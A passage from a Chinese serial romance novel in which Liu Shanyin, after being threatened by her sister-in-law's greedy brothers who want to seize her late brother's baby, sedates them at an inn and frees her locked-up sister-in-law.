赵平澜没有使唤人的毛病,再说眼前人在她眼中是老三相中的媳妇,又不是雇来的厨娘,她便利落抬手按下了面前的女郎,“你坐着吧,我自己去。” 柳善因有些不好意思,但又拧不过赵平澜只得乖乖指了指灶台,“那好,饭就在那个锅里。” 赵平澜点了头,抬脚进了屋去。 赵留行挑眉看着并无任何异常的二姑,下意识和柳善因低声道:“瞧着人也没什么问题,你确定今日看准了?不是花眼了?” “看准了呀,我眼神挺好的。”柳善因点点头,万般笃定。 赵留行自然是信她。两个人的气氛缓和,就这么默契地转眸盯上了屋里的赵平澜。 可当事者不明所以,等她端着一碗热乎的白粥出来,瞧见二人投来的异样眼光没多在意。她坦然坐在二人中间,仿若什么事都没发生过,默默用起了晚饭。 只是这吃着吃着,赵平澜愈发觉得不对劲。 她抬头扫视左右,二人的目光一个写着欲言又止,一个满是狐疑。 “你俩看什么?”赵平澜一脸松弛快意,手中的筷子也没停,“我脸上有东西?” 柳善因小心试探,“都护大人,您没有哪里不舒服吧?” “没啊,怎么这么问?”赵平澜一脸懵。 赵留行乘胜追击,“您今日进宫了?” 赵平澜嗯了一声,没多搭理,赵留行却厚着脸继续追问:“是陛下召您去的?” “小子,你到底想问什么?”赵平澜蹙起眉。 “陛下叫您进宫做什么?您这回回来不是没有公务吗?怎么还得进宫去?”赵留行知晓自己问得多,他怕眼前人动手,提前往后躲了躲,“该不是因为我的事吧?那位总不能真把呈王府那事闹到御前了吧!” 赵平澜瞥了眼赵留行,“问完了?” “昂,问完了。”赵留行点点头,警惕着眼前人随时会抬起的手。 赵平澜却眯起眼睛,轻轻吐出一个不屑的滚。 气得赵留行敢怒不敢言,以前她总这么对他,他忍了,现在他这有家有口的,她还把自己当毛头小子那么对待,实在是有失他作为男人的尊严! 赵留行刚想强硬一点,在柳善因面前找补回面子,就被自家那位打断。 只听柳善因在对面担忧道:“都护大人,我看您今天很累,您真的没事吗?我和赵赵将军都是您的家人,您若是有事一定要和我们说,不然我们会很担心。” 话音落去,赵平澜望着女郎真诚的眼神愣然,她似是被她温暖。 她还从未见过如此纯粹且简单的人。 赵平澜难得识相应了声:“好,我知道了。我真的没事,叫柳娘子担心了。” 柳善因放心地笑了笑。 赵留行却蹙起眉。 她先是看看赵平澜,而后又不可思议地看看柳善因,他大惑,二姑什么时候对自己这样温柔过,小柳又什么时候能对他这样关心。 他真是不服! 而后,赵平澜在简简单单地用过晚饭,默然起身离去。 柳善因便探着脑袋去问赵留行,“赵赵将军,既然二姑说没事,那咱们还用给她找个郎中瞧瞧吗?” “不用,我瞧她健康得很。”赵留行的气还没消,他觉得赵平澜还有力气骂他,怎么可能有事。 他们就多余操心。 柳善因似懂非懂地点头,她一抬眸竟瞧见赵留行抱着小侄子下了台阶,连忙追问:“赵赵将军,你去哪?你还剩了些饭没吃完呢——” 赵留行却头也不回地道是:“不吃了,给小宝喂奶去!” 柳善因闻言垂眸望着赵留行用过的碗筷撇了撇嘴,忍不住自言自语了句:“真浪费,还是让我吃了吧……”- 酉时过半,府门外的街上来了对贼眉鼠眼的弟兄俩。 那弟兄俩一高一矮,一胖一瘦,身上满是路途奔波沾染的风尘,他们盯着这边的宅子看了许久,左右拿不定主意。 弟弟蹲在街边问哥哥,“你确定隔壁村的董老六没记错?就是这户人家?她个丫头片子能攀上这么好的人家?” 哥哥站在风里瞧弟弟,“我哪知道,我又没来过洛阳。再说,你管是不是这户,咱们打听打听不就知晓了?蠢得要死的傻货,要不是为了给你娶媳妇,我们用得着犯这么大难过来抢孩子?” “怎么能是为了我呢!” 弟弟不认账,“还不是因为你和大嫂生不出儿子,就指望我护着咱们老徐家的根——” 哥哥气得踹了他一脚,“你,你气死我得了。” 可吵归吵,闹归闹。 哥哥丝毫没有忘记此行的目的,再怎么说他们都姓徐,是打断骨头还连着筋的亲兄弟。只见他扫视过四周,瞧见个准备收摊归家的老头,抬脚迎了上去。 哥哥好声问:“诶,老人家,我跟弟弟进京投奔亲戚迷了路,约莫记着是在此地,敢问这处是个什么人家?” 谁料,老头不是个好相与的,他嫌弃地将哥俩打量,“这儿?反正不是你俩该找的人家。” 弟弟闻言嘿了一声,就要伸出拳头吓唬吓唬老头,“你这老东西怎么说话——” 老头丝毫不怵地瞪了他们一眼。 这里是天子脚下,他料他们不敢乱来,随即扛起货箱打算抬脚离去。 哥哥瞧着身边这个成事不足,败事有余的东西,一把将人推去了一边,假模假式道:“混账东西,快跟老人家赔礼。” 弟弟不服,却也无可奈何,最后只得哼哼唧唧躬身赔礼。 “老头,对不起……” 老头见哥哥还算个识相的,便随口说了句:“这是赵大都护在洛阳的私宅,不是你们随随便便能打听的,我只说这么多,其余的你们随意。老朽要归家了。” 哥哥听后若有所思,“多谢老人家好心相告,只是晚辈想最后再请教您个问题。” 老头看看他,略有迟疑。 哥哥见状赶忙追问:“这家里头有没有个约摸十七八岁,带着个不到一岁娃娃的女人?” 老头挑挑眉,有些怀疑眼前这兄弟二人的来意,他左右一想,眼前人说的岂不就是宁远将军跑上门认亲的媳妇?他这日日都见,不可能不记得。 但老头机敏,他瞧了为长的人一眼,抛下一句:“这我无可奉告。”便转头离去。 “哥,按老头这意思,咱是不是找错地了?”愚不可及的弟弟站在一旁,挠头无解,精明算计的哥哥却胸有成竹,“没找错,就是这家。” “哈?你咋知道!”弟弟讶然。 哥哥负手回身,“你哥我是谁?那老头就差把有这人写在脸上了,你还看不出来?真是笨得没边际。行了,明日开始咱们就在这儿盯梢,早晚能逮到那丫头。” “今天咱们先回去安顿安顿,把老二关得时间也够久了,得给她弄些吃的喝的,不若跟方家那边没法交代,咱们就白跑这么一趟了。” 弟弟点点头,他脑子不好使,便只得听哥哥的差遣。他不管,反正这回只要能把二姐嫁出去,用方家给二姐的礼金把自己的相好娶回家,叫他做什么他都愿意。 第65章 第65章出门吃饭 夏日的清晨,总不胜春时舒 爽。 黏腻在颈后的头发,与紧贴在背后的人,无不叫柳善因心烦。她在床上使劲蹬了蹬腿,想让赵留行离自己远些,却被其质问:“一大早蹬我作甚……” 柳善因废了半晌的劲,才从赵留行的怀抱里挣脱出来,她坐在床铺上抗议说:“我热!” 赵留行撑着脑袋看柳善因气呼呼的小模样,听她冲自己愤愤道:“赵赵将军,这都入夏了,你能不能不要再抱着我睡觉了,夜里真的很热,你不热吗?” 赵留行闻言二话没说垂下手臂,趴去柳善因的膝间醒神。 柳善因皱眉瞧着身前的人,惑然追问:“赵赵将军,你有在听我讲话吗?我跟你说认真的呢。” 赵留行迷迷糊糊嗯了一声,“知道了,那今日换小柳抱着我睡吧……” 这人又在耍无赖! 柳善因无计可施,只得晃着赵留行的肩膀提醒道:“算了,不与你说了!赵赵将军快起床,再不起上值就该迟了——我还要去厨房做饭呢!” “不急,今天与我出门吃吧,我前几日上值瞧见西街开了家晨食店,那煎包的味道隔着老远便能闻到,我觉得你一定喜欢。”赵留行有恃无恐地赖在柳善因身上。 柳善因没反对,“就是去外面吃,你也得先起来啊?” 赵留行拧不过女郎,无奈缓缓爬起身,却就此跟身前人脸贴脸对望了半晌。柳善因眨眨眼,堪堪纳闷地唤出一声:“赵赵……”就被眼前人一吻而上。 当这如蜻蜓点水般的吻轻轻落下,柳善因的大脑霎时一片空白,视线也开始模糊。 可那“烦扰”她的人呢?却在得逞后,转头打算逃离。 柳善因这次反应过来,居然没有退缩,只见她眼疾手快将强有力的小手,捶去了他的背脊,并忍无可忍地大声嗔怪道:“赵赵将军,一大早你,你要干嘛——”- 铺上欢闹,铺外相互整理衣衫。 这几日早起赵留行在柳善因面前更衣,可谓是驾轻就熟,柳善因也似习以为常般不再对他袒露的身体感到害羞,有时甚至还会帮赵留行系系腰间的带子。 今早因着需要出门,柳善因便把外头的睡衣换下,找了身浅紫色的罗裙穿上。 兴许是衣裳的带子太长,叫她找了半晌,赵留行回身瞧见赶忙识相行来,伸手帮她将衣带递了过去。 柳善因抬眸道了声:“谢谢。” 可话音还没落,赵留行便在收手时,不小心碰到了不该碰的地方。 “对不起!”他慌里慌张举起双手,以示无辜。 柳善因下意识抱住胸口,茫然望向对方。 赵留行却眼神闪烁,低声解释:“小柳,你信我,我不是故意的!我只是想帮你递一下衣带而已。” 柳善因又羞又恼,可她还是说服自己。算了算了,反正早晚都是要成亲的人,什么男女有别也就不作数了,不若到一起生娃娃的时候可怎么办…… 柳善因默默扭过身,独自将衣带系好,没去多言。 赵留行个榆木疙瘩,私以为女郎生了气,连忙舔着脸问:“你生我气了?” “没有呀。”柳善因摇摇头,抬脚往外走。 赵留行追过去,“真没有?” “真没有!”柳善因使劲摇摇脑袋,再三否认。 赵留行这才算放下心。 可眼前人刚给他了个好脸色,他便得寸进尺地牵起女郎的手,叫柳善因怎么甩也甩不开,她回眸瞧了赵留行一眼,赵留行却若无其事道:“走,吃早饭去。” “夫人记得带钱,我可身无分文。” 柳善因被身边人一个劲拽着走,根本顾不上回答。 等两口子牵手晃晃悠悠路过院外的空地,又被早起在此地练拳的赵平澜叫住,“大早起的,去哪?” 赵平澜将二人打量。 柳善因有难为情,她拍了拍赵留行的手臂想让其放开自己。没成想,赵留行竟握得更紧了些,“哦,小柳送我去上值,我们顺道在外面吃个早饭。” 赵平澜挑挑眉,收起扎好的马步,没把他们当外人,“那帮我也带一份回来。” 柳善因闻言接茬说:“好,我吃完就赶快回来。” “没事,不急。你俩慢慢吃。” 赵平澜摇摇头,转而在扫视一圈后想起了什么,“诶?孩子呢?” 孩子……孩子? “对,小宝。” 柳善因和赵留行异口同声。 他们这会儿总算是想起屋里还有个被丢下的娃娃。 这不靠谱的爹娘,随即就要往回跑,却被赵平澜出言拦下,“行了,你们出去吃饭带着孩子也不方便,这一会儿约摸着耽搁不了。我正好练完拳无事,可以帮你们照看一会儿。不过也不能太久,我可不太会照顾孩子。” 柳善因和赵留行左右一对视,觉得也行。毕竟家中还有乳娘,叫二姑暂为照看一下孩子应该不会出岔子,估计小家伙一时半会醒不了,他们只要快去快回就好。 “那就麻烦您了。”柳善因颔首道谢。 赵平澜摆摆手,一如既往地淡定,“无妨,你们去吧。” 赵留行随之附和:“那二姑,我们去了。” 她就这么一路目送着俩人走远,这才转身默然往寝屋独自照看侄孙去……- 府门外,柳善因几日未曾出门,猛地踏出家门,还多少有些不适应,赵留行牵着她走上去往宫城的方向,两个人一心行路,谁也未曾察觉街角那两个在人群中毫不起眼的儿郎。 徐家那兄弟俩一连在府门外蹲了两日,终于熬出头来。 徐三郎抬眼不经意间瞥见柳善因的身影,激动地敲了敲倚在墙角打着瞌睡的徐大郎,“别,别睡了,你快瞧——那个是不是柳家的那丫头片子!” “你能不能小声点,别把人惊着。”徐大郎啧了一声起身打眼望。 没成想,这回还真叫徐三郎说对了,“还真是那丫头!哼,真没想到,这高门大户还真叫她攀了上,我就知晓她个丫头片子没那么简单,你说说会在自己成亲前带着那么小个娃娃逃跑的女人,能是什么正经货色?喏,这就飞上枝头,过上好日子了。” 徐家的兄弟两,是一样的狼心狗肺,尖酸刻薄。 徐三郎点点头,认可着大哥的说法,“可是哥,咱们接下来该怎么办?瞧着那丫头身边的,跟他们说的一样,大小是个武将。咱们怎么跟人家比?不是等着挨揍吗?还有啊,怎么不见咱那外甥啊?” 徐大郎回眸瞥了眼徐三郎,嫌弃得不行,“笨货,孩子肯定在家,谁家出门还带着孩子?你也不用脑子好好想想。至于挨不挨揍,你先别管,咱们跟上再说。” “总能寻到时机下手。” 徐大郎鬼点子多,他说什么,徐三郎就听什么。 兄弟两个就这么鬼鬼祟祟地跟了上去- 晨食店外头人声鼎沸,柳善因坐在一张别人刚腾出来的桌案前安静等待,期间有人想挤了她的位子,却被身挎长刀,手端餐盘走来的赵留行吓得连忙滚开。 人还真是欺软怕硬。 赵留行抬头瞪了那人一眼,柳善因却小声劝他别惹麻烦! 这世间,估计也就只有眼前人和赵平澜敢这么要求他,赵留行便乖乖垂眸,将热乎的煎包搁在了柳善因面前,“东西趁热吃,汤小二一会儿就上。” 柳善因点点头,拿起一个香喷喷的煎包搁在嘴边,馋得两眼发直。 她轻咬一口,鲜嫩的馅料便溢满她的嘴巴。 真好吃啊…… 她从来没有吃过这么香的煎包,来王城的这几个月,应是她这辈子最有口福的时候。她垂眸小心翼翼将咬了半口的煎包吹凉,却在张口时被眼前人截胡,“啊,给为夫尝尝。” 柳善因抬起头,惑然望向赵留行,她心想,想吃不能自己拿吗?就非要吃自己这个? 可赵留行偏故意逗她,紧追不 舍。 柳善因没有办法只好伸手递去,赵留行也没留情,一口将煎包吞了下去,气得柳善因哼了一声,转头拿了两个握在手里,说什么也不给他分出半口去! 一顿早饭的时间,两个人就这么说说闹闹,吃到了辰时刚过。 赵留行眼看着上值将迟,却还是跟柳善因要了钱,将该付的账付好,该给家里打包的东西打包好,才肯盯着喝完最后一口汤的柳善因,嘱咐道:“回家的路可还记着?从这边向东两个路口便是,莫要走错。” 柳善因认真地点点头,“嗯,我记得的!不会走错,赵赵将军就放心上值去吧,不用操心我。” 赵留行将信将疑。 柳善因起身拎着油纸袋胸有成竹地挥挥手,“不是上值快迟了?还傻愣着做什么?” “算了,我还是先送你回去。”赵留行不放心,他转头就要领着柳善因回家,可柳善因只是胆子小,又不是脑子笨,回家的路眼前人跟自己交代了一路,她还能不记得? 她便推了推他,“哎呀不用,我真的能行,你快走吧走吧,不是说让我送你上值?怎的又成你送我回家了?你这一来一回,多耽搁时间呀!要知道是这样,我还不如在家做早饭,何必废这功夫!” 身后人一个劲地推他,赵留行有些不舍地回头问:“你真能行?” “当然!”柳善因万般笃定。 赵留行见事已至此,便妥协着说:“那成,我在这儿瞧着你转弯,我就去上值。” 柳善因笑着应了声:“好。”转头就轻轻快快地往街上行去,她是生怕身后人反悔。等来到转弯处停下脚步,她还回头跟不远处注视自己的赵留行挥了挥手,以作道别。 赵留行同样笑着回应了她,二人就此分别于转角。 怎料,却被一路尾随而来的徐家兄弟钻了空子,将落单的柳善因堵在了下一个街角。 柳善因一抬头,只见两个熟悉的面孔,在冲自己讪笑,“柳丫头,你可真叫我们好找——” 第66章 第66章勇敢的她 “徐家大哥,三哥?你,你们怎么在这儿?”柳善因被这突然出现在洛阳的二人惊得愣在原地。 徐大郎眯起眼睛,不怀好意地盯着眼前这许久不见的亲家妹妹上下打量,“怎的?难道只准柳丫头在洛阳发迹,找财路,不准我们兄弟俩来不成?我们啊,是投靠柳丫头来了——” 徐大郎话里话外阴阳怪气,徐三郎也在旁配合着大哥狂笑。 “大,大哥有事就说吧,莫要打趣我了。”柳善因看着那没安好心的兄弟俩,警惕着向后退了退。 她可是知晓这二人的人品,一个比一个贪得无厌,往前在家的时候,他们可没少趁哥哥不在家的时候找嫂嫂打秋风,简直就是两只喂不熟的狗。 徐三郎闻言抢着接过话茬,没跟柳善因废话:“我那小外甥呢?我们是来接孩子的。” “接孩子!”柳善因一听这话,瞬间瞪了眼。 “你们凭什么接走小宝——” “凭什么?” 徐大郎见女郎不识趣顿时面色一变,丝毫不把眼前人放在眼里,“就凭我们是这孩子的亲舅舅!况且,孩子没了爹,理应跟着娘!跟着你个有娘生没爹教的小妮子能有什么出息?” “少废话,快把孩子交出来。” 徐家兄弟俩吹眉瞪眼,叫柳善因害怕得不行。 她抱着热乎的煎包被人逼去墙角,却还是据理力争道:“可当初是你们自己说孩子是个累赘,偏不让嫂嫂带走,怎么现在又改口了!我虽不知你们打得什么坏主意,但徐家兄弟我现在就告诉你们,我是不会把小宝交给你们的,孩子我要自己养。” 柳善因态度坚决,气得徐三郎牙痒痒,“嘶,臭丫头长本事了——这攀了高枝就是有底气,往前连个屁都不敢放的窝囊废,竟敢这么跟我们说话了!大哥,我瞧还是别跟她废话,打一顿便老实了。” 徐三郎个孬种,撸起袖子就要拧柳善因的胳膊,却被徐大郎一把拽住。 徐三郎傻,徐大郎可不傻。 他知道若今日柳善因带着一身伤回去,定会惹得人家起疑,到时候落了把柄找他们麻烦,他们可招架不住。 他便厉声威胁说:“柳丫头,我们兄弟俩没工夫跟你废话!你最好识相些,把孩子抱给我们。如此,我们把孩子带回去跟二妹过好日子,你也继续心安理得地做你的官家娘子,咱们井水不犯河水,岂不两全其美?” “我们这几日在街上可是听到些东西,你利用我家外甥做的那些腌臜事,别当我们不知。你难不成就非要把事情闹到台面上叫大家都难堪?到时候真上了官府,你不止得乖乖把孩子交给我们,就连你那官家娘子也别想再做。说不定,还得下大狱去!” 徐大郎威逼利诱,却说得不无道理。 他们拿着孩子母亲那块挡箭牌,将来闹到官府那一判,柳善因这个早晚外嫁的姑姑,确实没有胜算。不止如此,她与赵留行的事,也会暴露无疑。 可柳善因自己倒无所谓,她就是怕会牵连赵留行…… “你,你们——欺人太甚。”柳善因慌了神,她想先脱离是非跑回家去,却被他们逼得无路可逃。 徐三郎见眼前的小丫头想逃,赶忙抬手按住她的肩,“东张西望个什么?臭丫头,你可别想着逃,若是把我们哥俩逼急了,就别怪我们不顾往日情面!” “你放开我。”柳善因被人摁在墙角,孤立无援,眼里满是无助和彷徨。 谁料,此时远处却传来了个熟悉温柔的声音,奋力疾呼:“小妹,千万不能把孩子给他们——他们鬼迷心窍,不止要卖了我,还要让徽郎的孩子认别人做父。” “嫂嫂。”柳善因蓦然抬眸,曾经对她百般呵护的嫂嫂竟然出现在了眼前。 柳善因有好久未曾听见这声小妹了…… 徐玉之提裙奔来,她被这两个混账看管几日,今天好不容易寻了个机会脱身,便急匆匆一路找来,她一直担心这边出事,没成想刚好撞见他们为难柳善因。 她望着不远处的小妹急红了眼。 徐玉之也没想到事情能闹到这个地步,她很自责,也很无奈。她原先只是觉得大哥与三弟不过是被爹娘惯坏了,脾性差了些。没想到,他们竟如此不是人。 徐大郎瞧见来人霎时怒斥道:“她怎么跑出来了?出门前我不是叮嘱你锁门吗!” 徐三郎觉得冤枉,随即反驳:“我锁了啊,谁知二姐怎么跑出来的?再说你怎么自己不锁,出事全赖我!” 兄弟二人推卸起责任。 徐玉之不管不顾地上前拉扯徐家老三,“老三,把你的手放开。” 徐三郎混账起来,连自家二姐也不放在眼里。 他一把推开徐与之扬声骂道:“起开,都这时候了,你还胳膊肘往外拐?徐老二,你给我记着,你姓徐,不姓柳。这回若是叫我娶不上媳妇,给咱老徐家延不下香火,你们谁都别想好过。” 徐玉之自柳徽死后,肝气郁结,身体也不再似以前康健。 她被人一推,便倒去了一旁的杂物堆上,她望着见利忘义的兄弟二人忽而冷笑,“我帮母亲说话的时候,骂我是外嫁女,少管闲事,这会子又说我姓徐了?” “我呸——” 徐玉之失望透顶,她起身朝徐老三冲了过去。她想今日就是把命留在这儿,也绝不能让这两个混蛋得逞,这些时候若不是念着再见小宝一面,她大抵早随徽郎而去。 柳善因瞧见他们这样对待嫂嫂,也发了飙,张嘴一口死死咬住了徐家老三的手臂。 徐三郎被两个女人合力围攻,疼得直叫。 徐老大见状也来帮忙。 他伸手将徐玉之拉起,跟着假惺惺地说:“玉之,你就不要闹了!我们这么做,不都 是为了帮你把孩子要回来吗?瞧你日日食不下咽,大哥也是心疼得紧,你不思念孩子?你难不成就忍心孩子跟着她个丫头片子?” “你想想方家是什么人家?人家可是江南来的富商,你若带着孩子嫁去,那可是享不尽的荣华富贵,不比做个寡妇强,你怎么就这么糊涂。” 徐玉之反抗,撕穿了大哥的伪装,“你们是为了我吗?你们是为了那一百两礼金,你们别以为我不知道媒人跟你们说了什么,她说对方不会生养,就想找个刚死了丈夫的寡妇,让孩子跟他姓,给他送终。不若你能这么卖命的到处托人打听小妹和孩子的消息,甚至不惜一切追到这儿来!” “徐大郎,你真不是人。” 徐玉之的话,戳中了徐大郎的心思,徐大郎瞬间气急败坏给了眼前人一巴掌。 打得徐玉之两眼昏花。 可就是这样,徐玉之却还是趁机晃晃起身,一把将柳善因推离了这是非之地。 她道:“小妹,快跑。” 柳善因惶然回眸,张口时带着哭腔,“嫂嫂,那你呢?” “你别管我,快跑小妹,快跑——” 徐玉之一遍遍催促,柳善因别无选择,只得转身拼命奔跑。 徐大郎抬脚打算去追,却被徐玉之抽出的木簪吓住,“大哥,我最后再叫你一声大哥。今日你若敢去追小妹一步,咱们就有一个算一个,全都死在这儿,别回去了。” 徐玉之拿起木簪的手在抖,她一辈子没有这样大胆的反抗过,很多时候她都是无声的妥协。 曾经他们让她嫁给柳徽,说他无父无母,年轻有为,且家中只有一个妹妹,将来他柳家的家产便全是他们的。她认了,也嫁了,幸好柳家兄妹良善可靠,待她亲如一家。 她慢慢觉得日子有了盼头,荒芜的人生,总算长出了枝丫。 可偏偏命运捉弄,柳徽战死了,一切又卷土重来。 徐玉之经历了太多,她已不再相信这世间,还能再有像柳徽一样懂得敬她爱她的人,小宝也就成了柳徽留给她最后的念想,所以,她绝不愿小宝和自己一样成为被他们利用的工具。 徐大郎却怒火中烧,夺过徐玉之手中木簪,就像踩碎她的尊严一样,将木簪狠狠踩碎。 只见他望着早就空荡的街角,怒骂了句:“妇人之仁,这样好的机会被你毁了——你以为我这么做都是为了自己?你错了,你懂个屁。你早晚有一日,你会感谢于我!” “老三,走,先把这疯子给我带回去,再来找那丫头算账。”- 柳善因一路奔逃,不敢停歇。 直到牢牢锁住家门,她才敢顺着门板瘫坐下去,彼时晨光照亮她空洞的眼睛,急促的呼吸里,满是惊魂未定。 柳善因在后怕,她无法想象今日倘若带了小宝出门,会是何等景象。 柳善因以为自己离开兰花村,不争也不抢,就能脱离那些不好的过往,重新开始新的生活,未曾想贪婪的他们根本没打算将她放过。 不好的记忆开始翻涌,她就这么一直坐着,再也没了起身的勇气。 若非许久之后,赵平澜见人迟迟不归,抱着孩子打算出门来探,她大抵会一直坐到太阳落山。 “坐在这儿干什么?”赵平澜沉声发问。 要不是说赵平澜异于常人。 今朝明明是她第一次带孩子,她竟把赵留行废了好久才搞定的小家伙,训得趴在她怀中不吵不闹。 柳善因闻声抿抿眼泪,咽下心口的委屈,轻唤了声:“都护大人……” 赵平澜居高临下地垂眸望,可就算女郎低着头,她却还是敏锐地察觉到她的异样,“出事了?” “没有,没有。”柳善因摇头否认。 赵平澜蹲下身,平视起女郎的目光,“脖子上的伤哪来的?” “……自己摔得。” 柳善因慌里慌张拽起衣衫,生怕赵平澜担忧。 她还是跟从前一样,害怕给别人添麻烦,有什么苦和难都喜欢自己消化。 只是如此拙劣的借口,能瞒得过别人,还能骗得了赵平澜? 可赵平澜并未强迫眼前人非要说出个所以然,在她看来,谁能没有自己的难言之隐,谁能没有自己想要隐藏的秘密,别人不愿说,自是不愿让她知晓。 她便轻轻拿起柳善因身边早已被挤扁的煎包,转而将孩子交给她后开口道:“不想说?那就不说吧。” “但你若需要帮助,记得告诉我。” 赵平澜语毕转身。 她的声音就像她这个人一般,平静且没有波澜。 柳善因抬眸去望,眼前人不知为何看上去总是那样的强大又充满力量,不像她是个无能为力的胆小鬼。 她好想像她一样…… 柳善因叹了口气,不知不觉被泪水填满眼眶。 她抱紧怀里的娃娃,沉声念道:“小宝,小姑是不是很没用,谁也保护不了,还总是给别人添麻烦…瞧着你舅舅们应该不会轻易善罢甘休,你说小姑现在该怎么办才好……” 话音落去,四周寂寂。 柳善因并不聪慧,她眼看事情似乎陷入死局,小家伙却忽然从她腰间抓出一张纸条来。 柳善因垂眸一瞧, 那纸条上面居然清楚地写着州和脚店四字。 她便知,她不能再坐以待毙……- 是夜,有人蹑手蹑脚推门出来,被厢房的赵平澜看见却只按兵不动地观察着。 赵平澜隔着门缝负手望去,柳善因穿戴整齐,背着娃娃一副要出远门的模样,她就跟料到有事般,从早到晚一直暗中注意着柳善因的一举一动。 她看着她在寝屋外愣了半晌,又恋恋不舍地离去。 赵平澜看得出柳善因好似下了很大的决心,又不解于她此番为何。 待柳善因出了正院,厢房的门才被缓缓推开,赵平澜没急着去追,反倒走去寝屋查看。 随手引燃火折,赵平澜在屋内环顾而望,屋中被柳善因打扫的整洁,甚至明日赵留行下值要穿的衣裳都被她规矩摆放,她还是想不明白,柳善因这么晚要去哪。 直到她默然拿起桌案上遗留的纸条,突然叹了声:“……好丑。”- 酉时末的街道,依旧人来人往,王城没有宵禁,所以入了夜的主街,照样喧闹。 柳善因没入人群,像来时那样彷徨。 一切真的又回到了原点。 柳善因没有急着去找那个名叫州和脚店的地方,而是先去了老郎中的铺子。 别家都是做到子时,偏老郎中不到戌时就关了门。 柳善因到时,老郎中刚准备装起最后一块门板。他一瞧见柳善因立刻停下手里的动作,惑然相问:“这么晚了?夫人怎么亲自过来?难不成家里郎君又受伤了?真是个不着调的。” “不是不是。”柳善因摆摆手,“是小宝有些积食,我带着他来让您瞧瞧。” “哦,那夫人进来吧。” 既然是老主顾,老郎中也收敛了脾性,开门迎客。 老郎中人不坏,只是脾气怪。 等柳善因将孩子放下,他便赶忙为孩子查看,可小家伙健健康康哪里有什么毛病?老郎中纳了闷,可他看了眼柳善因,刚想开口,就听她开口问:“先生,若想助眠安神,该用些什么药才好?” 老郎中抬眼看了眼柳善因,转而朝药柜上一指,“那个,是老 朽配的安神丸。吃一粒就见效。怎的夫人最近失眠?可用老朽给瞧瞧?” “不是,是家里人睡不好,我想替他开些。”老郎中说罢垂眸若有所思,柳善因却摇头否认。 老郎中也不再追究,“哦,那夫人大可少拿些试试。” 柳善因道了声谢。可等拿过药,她又改口说:“唉?瞧我这记性,先生,我这出门匆忙忘记带钱。您能不能稍等等我,我先把小宝丢在这儿,回去取趟钱就过来。” 老郎中大抵是看出了什么,却没说透,他只挥手道是:“夫人去吧,老朽的铺子今日正巧打算营业到子时,夫人快去快回。” 柳善因鞠躬感激。 老郎中在她离开前特意嘱咐:“安神丸一次只能吃一粒,切莫贪多,夫人莫忘。” 柳善因垂眸说:“好,我记住了。”- 徐家两兄弟自回了脚店将徐玉之锁起来后,就开始为了省下二两银子自己琢磨状书,可奈何他俩没什么文化,两个脑袋琢磨半天也没写出半行字来。 徐三郎起了急,“哥,不行明日去街上找个讼师得了,就咱俩写这东西,衙门那能认吗?” 徐大郎撂了笔,心想有些钱该花还得花,不若舍不得孩子,套不着狼。 但在花之前,还是得先挤兑徐老三一顿,“花钱,花钱,你就知道花钱,当年你但凡要是多念些书,咱们今日还能为难成这样?” “啧,你还有脸说我,你不也是一样。”徐三郎依旧是不服。 徐大郎也不惯着他,“你怎么跟我说话!” 两兄弟就这么嚷嚷起来,可吵着吵着,屋外却有人敲起了门。 徐大郎见势没好气道是:“谁啊!” 屋外的小二便笑着接茬,“诶,客官,我是咱们店里的小厮,我来送些酒菜。” “我们没点酒菜,你送错了——”徐大郎没多在意。 小二却没走,“没有没有,小的没有送错。这是住您楼上的那位夫人特意下楼叫小的给送的,夫人说她带着个刚会跑的孩子,怕夜里吵着楼下休息,特意叫小的送些酒菜,提前给诸位赔礼,望多担待。” 若搁旁人,听见这事大抵是多留个心眼。 可谁叫徐家这兄弟俩是个小便宜不占便觉吃大亏的人,又正巧碰上俩人抠抠巴巴一日没吃东西,徐大郎便将信将疑打开门,只见他张嘴问的第一句话不是别的,单是一句:“这些东西真不要钱?” 小二摇摇头,“是的,那位夫人已经付过了。” 徐大郎一听有免费的东西吃,瞬间变脸接过小二手中的餐盘,转头哐当一脚关上了门。 兄弟二人回身一对眼神,沾沾自喜。 小二则回身走去楼梯间,寻到那个脸带蔽面的夫人沉声禀报,“夫人放心,东西我已替您送去,您今晚就安心领着孩子休息。要说夫人还真是菩萨心肠,竟能想的如此周到。” 柳善因目的达成,点头无言,随手掏了几个铜板递去。 小二见状鞠躬下了楼- 半个时辰后,柳善因约摸着楼下没了动静,小心翼翼去了兄弟二人的房间外头,却见兄弟二人早已七扭八歪倒在铺上,睡得不省人事,她便急匆匆推门寻徐玉之去。 可等柳善因在屋子里寻了一圈,却不见半分嫂嫂的影子。 她慌了神,难不成嫂嫂不在这里? 柳善因慌里慌张,思来想去,总觉得这徐家兄弟俩单瞧那吃白食的嘚瑟相,就根本不可能出手阔绰到开两个房间,她便继续在屋子里寻觅。 直到将眼神定在西边那个上锁的柜子上,她才恍然走上前去。 柳善因一边警惕着身后的人,一边轻轻叩起了柜门。果不其然,在她叩了三下后,柜子里传来了几声沉闷的响,她便立刻回身往兄弟二人身上摸索钥匙去。 那老郎中终究是老郎中,他今日给柳善因拿的哪里是安神丸,简直就跟蒙汗药一样。 柳善因伸手时提心吊胆,兄弟二人却不曾动弹。 她抓起钥匙就连忙回去哆哆嗦嗦地开门。 这时间,半昏在柜中的徐玉之听见动静,从昏暗中睁开双眼,今日她惹怒了徐大郎,才落得这样的下场,徐大郎说要给她些教训,让她低头认错,她皆一一反抗。 可徐玉之没有后悔,她只绝望地望向柜门,没有一丝期待。但当柜门外出现了一道照亮她的光,她又重新燃起了希望,她听眼前人压低嗓音道:“嫂嫂莫怕,小妹来了。” 柳善因明明怕得要死。 她也明明可以躲在赵留行的庇护下什么也不做,却还是这样义无反顾地来了…… 因为她听二姑说过,命是自己的。 得自己说了算。 第67章 第67章有点爱了 “小妹……” 徐玉之微弱地回应,叫柳善因心疼不已。 他们太欺负人了。 柳善因赶忙将嫂嫂从柜子中搀扶出来,徐玉之望着铺上歪倒的兄弟俩,惑然望向小妹,“他们这是?” 柳善因立刻解释说:“嫂嫂您放心,他们只是醉了,没有事的。” 徐玉之轻咳两声,没再多言。 与此同时在对面的房间,有两个身穿甲衣的女郎麻利收拾了几个动作鬼祟,准备破门行去对面的男子,可纵使被人掐着脖子按在墙上,为首的人依旧气焰不减,“你们可知我们是谁的人?” “我管你是谁。”掐她的女郎不屑冷笑。 为首的人起了急,继续嚣张道:“我们的主家,可不是你们此等闲杂之人能惹得起的,我劝你们还是识相些,趁早把我们给放了。不若耽搁了主家的计划,有你们好看。” 女郎有些不耐烦,便将眼前人的脖子掐得更紧了些,“废话真多,我看你还啰嗦。” 